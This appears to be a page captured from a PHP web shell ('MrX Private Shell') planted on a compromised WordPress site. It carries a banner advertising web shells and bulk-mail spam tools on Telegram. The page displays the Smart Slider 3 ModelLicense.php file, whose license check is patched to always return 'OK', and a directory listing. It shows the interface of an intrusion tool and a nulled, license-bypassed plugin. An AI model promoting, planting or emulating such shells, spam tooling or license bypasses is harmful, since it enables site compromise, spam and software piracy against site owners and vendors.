__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php


namespace Nextend\SmartSlider3\Application\Model;


use Nextend\Framework\Model\StorageSectionManager;
use Nextend\Framework\Notification\Notification;
use Nextend\Framework\Pattern\SingletonTrait;
use Nextend\SmartSlider3\SmartSlider3Info;

/**
 * Class ModelLicense
 *
 * @package Nextend\SmartSlider3\Application\Model
 *
 */
class ModelLicense {

    use SingletonTrait;

    private $key;

    public function __construct() {
        if (defined('SMART_SLIDER_LICENSE')) {
            $this->key = SMART_SLIDER_LICENSE;
        } else {
            $this->key = StorageSectionManager::getStorage('smartslider')
                                              ->get('license', 'key');
        }
    
    }

    public function hasKey() {
        return !empty($this->key);
    }

    public function maybeActiveLazy() {
        $lastActive = StorageSectionManager::getStorage('smartslider')
                                           ->get('license', 'isActive');

        return $lastActive > 0;

    }

    public function maybeActive() {
        $lastActive = StorageSectionManager::getStorage('smartslider')
                                           ->get('license', 'isActive');
        if ($lastActive && $lastActive > strtotime("-1 week")) {
            return true;
        }

        return false;
    }

    public function getKey() {
        return $this->key;
    }

    public function setKey($licenseKey) {
        StorageSectionManager::getStorage('smartslider')
                             ->set('license', 'key', $licenseKey);
        StorageSectionManager::getStorage('smartslider')
                             ->set('license', 'isActive', time());
        if ($licenseKey == '') {
            StorageSectionManager::getStorage('smartslider')
                                 ->set('license', 'isActive', '0');
        }
        $this->key = $licenseKey;
    
    }

    public function checkKey($license, $action = 'licensecheck') {
        return 'OK';
    
    }

    public function isActive($cacheAccepted = true) {
        if ($cacheAccepted && $this->maybeActive()) {
            return 'OK';
        }
        $status = $this->checkKey($this->key);
        if ($this->hasKey() && $status == 'OK') {
            StorageSectionManager::getStorage('smartslider')
                                 ->set('license', 'isActive', time());

            return $status;
        }
        StorageSectionManager::getStorage('smartslider')
                             ->set('license', 'isActive', '0');

        return $status;
    }

    public function deAuthorize() {
        if ($this->hasKey()) {
            $this->setKey('');
            Notification::notice(n2_('Smart Slider 3 deactivated on this site!'));

            return 'OK';
        }

        return false;
    }
}

Filemanager

Name Type Size Permission Actions
ModelGenerator.php File 19.22 KB 0664
ModelLicense.php File 2.74 KB 0664
ModelSettings.php File 1.25 KB 0664
ModelSliders.php File 26.59 KB 0664
ModelSlidersXRef.php File 5.72 KB 0664
ModelSlides.php File 22.53 KB 0664
Filemanager